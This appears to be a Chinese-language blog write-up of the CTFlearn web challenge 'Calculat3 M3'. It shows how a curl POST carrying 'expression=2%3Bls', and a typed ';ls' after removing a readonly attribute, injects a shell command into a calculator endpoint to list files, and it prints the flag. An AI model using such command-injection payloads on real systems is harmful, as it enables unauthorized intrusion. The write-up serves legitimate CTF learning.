CTFlearn - Calculat3 M3 (#150)
2024-04-30 17:13:44

挑戰網站

https://ctflearn.com/challenge/150

題目

Here! http://web.ctflearn.com/web7/ I forget how we were doing those calculations, but something tells me it was pretty insecure.

作法

一開始進到網站是一個計算機,說實在其實蠻迷茫的,所以先按個 1 + 1 後,會發送帶有 expression: 1 + 1 的 POST 請求並回傳 2,這邊就可以先猜猜看是不是 RCE 漏洞了。

驗證是不是使用 eval 來計算,來直接試試看 ls 最快,所以利用 curl 發了一個 POST,帶著 2;ls 的參數

1
curl -L 'https://web.ctflearn.com/web7/' -H 'Content-Type: application/x-www-form-urlencoded' -d 'expression=2%3Bls'

成功取得檔案列表

1
2
3
4
5
6
2
calc.js
ctf{watch_0ut_f0r_th3_m0ng00s3}
index.php
main.css
main.css

最終解答

ctf{watch_0ut_f0r_th3_m0ng00s3}

其他方式

如果懶惰的話,可以直接把 readonly 從 html 中刪掉

1
<input type="text" name="expression" readonly="" size="18" id="d">

這樣你可以直接打 ;ls 按下 enter 後就可以跑出來,但我不知道為啥只單純打 ls 的話,會顯示 ls ls,蠻好奇他後端怎麼寫的!